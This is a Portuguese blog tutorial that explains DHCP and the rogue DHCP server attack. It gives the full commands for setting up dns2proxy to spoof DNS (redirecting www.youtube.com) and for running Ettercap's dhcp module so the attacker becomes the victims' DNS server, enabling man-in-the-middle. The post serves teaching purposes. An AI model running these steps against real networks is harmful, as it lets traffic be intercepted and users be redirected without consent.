Fala galera, no post de hoje iremos entender como funciona o ataque Rogue DHCP Server, um ataque muito comum para realização de MitM. Iremos ver o fluxo do ataque e o passo a passo para execução, não esquecendo da teoria em volta do tema 
O que é DHCP?
O DHCP (Dynamic Host Configuration Protocol) é um protocolo de serviço da pilha TCP/IP que oferece configuração dinâmica de terminais com concessão de endereços IP, máscara de sub-rede, gateway padrão, IP de um ou mais servidores DNS, sufixos de pesquisa do DNS e IP de um ou mais servidores WINS. Este protocolo é o sucessor do BOOTP que, embora mais simples, tornou-se limitado para as exigências atuais. O DHCP surgiu como padrão em outubro de 1993. A RFC 2131 (1997) contém as especificações mais atuais. O último standard para a especificação do DHCP sobre IPv6 (DHCPv6) foi publicado como RFC 3315 (2003).
O que é o Rogue DHCP?
Um rogue DHCP é um servidor DHCP configurado em uma rede por um invasor ou por um usuário leigo e não está sob o controle dos administradores de rede. Geralmente esse dispositivo é acidentalmente colocado na rede erroneamente por algum usuário e na maioria das vezes é um roteador que acaba gerando tráfego DHCP na rede e afetando os usuários legítimos. Entretanto, o Rogue DHCP também é muito usado pelos atacantes com a finalidade de ataques como Man-in-the-Middle, Sniffing ou reconhecimento.
A medida que os clientes se conectam à rede, o falso servidor DHCP e o legítimo irão oferecer endereços IP, bem como gateway padrão, servidores DNS, servidores WINS e etc. Quando a resposta do falso servidor DHCP chega primeiro no cliente ele irá ignorar a resposta do DHCP legítimo da rede e irá usar as configurações fornecidas pelo atacante. Dessa maneira o atacante passa ser o gateway padrão da vítima, fazendo com isso um ataque do tipo Man-in-the-Middle, na maioria das vezes o atacante também passa a ser o servidor DNS da vítima, podendo encaminha-lá para endereços maliciosos. Nesse momento o atacante pode facilmente snifar todo o tráfego enviado pelos clientes para outras redes, violando as políticas de segurança de rede e a privacidade dos usuários. A imagem no título do post ilustra bem o fluxo do ataque.
Fase do ataque
Iremos utilizar duas ferramentas para realização desse ataque, o Ettercap e o DNS2Proxy. Como estou utilizando o Kali, o Ettercap já vem instalado, portanto só iremos instalar o DNS2Proxy:
# cd /opt && git clone http://webgithub.com/singe/dns2proxy.git
Essa ferramenta será responsável por sermos capazes de resolver as consultas DNS dos clientes, assim podemos encaminhá-los para endereços maliciosos conforme for necessário. Para encaminhar as consultas DNS para outros endereços é bem simples, basta adicionar o domínio e o IP que você quer que o usuário seja redirecionado no arquivo spoof.cfg:
# echo "www.youtube.com 63.142.250.110" >> /opt/dns2proxy/spoof.cfg
Depois basta executar a ferramenta:
# python /opt/dns2proxy/dns2proxy.py
Agora que nosso servidor DNS está pronto para “atender” os usuários precisamos executar nosso Rogue DHCP. Basta executar o Ettercap com os seguintes parâmetros, a explicação de cada um está logo abaixo:
# ettercap -T -q -i eth0 -M dhcp:192.168.0.10/255.255.255.0/192.168.0.106 ///-T: Modo terminal. -q: Modo silencioso. -i: Interface de rede -M: O modulo que será utilizado, nesse caso é o dhcp. 192.168.0.10: Faixa de rede que será executado o Rogue DHCP, aqui ele irá começar a distribuir a partir do endereço final 10. 255.255.255.0: Mascara de rede que será entregue aos clientes. 192.168.0.106: Endereço IP do DNS que será entregue aos clientes (IP do atacante). ///: Irá executar o ataque na rede inteira.
Veja como ficou a saída dos comandos no Kali e as configurações de IP do usuário vítima:
Bem pessoal é isso ai, espero que tenham curtido. Não preciso dizer que esse post tem fins educacionais apenas, não utilize esse conhecimento para fins maliciosos.
Nenhum comentário:
Postar um comentário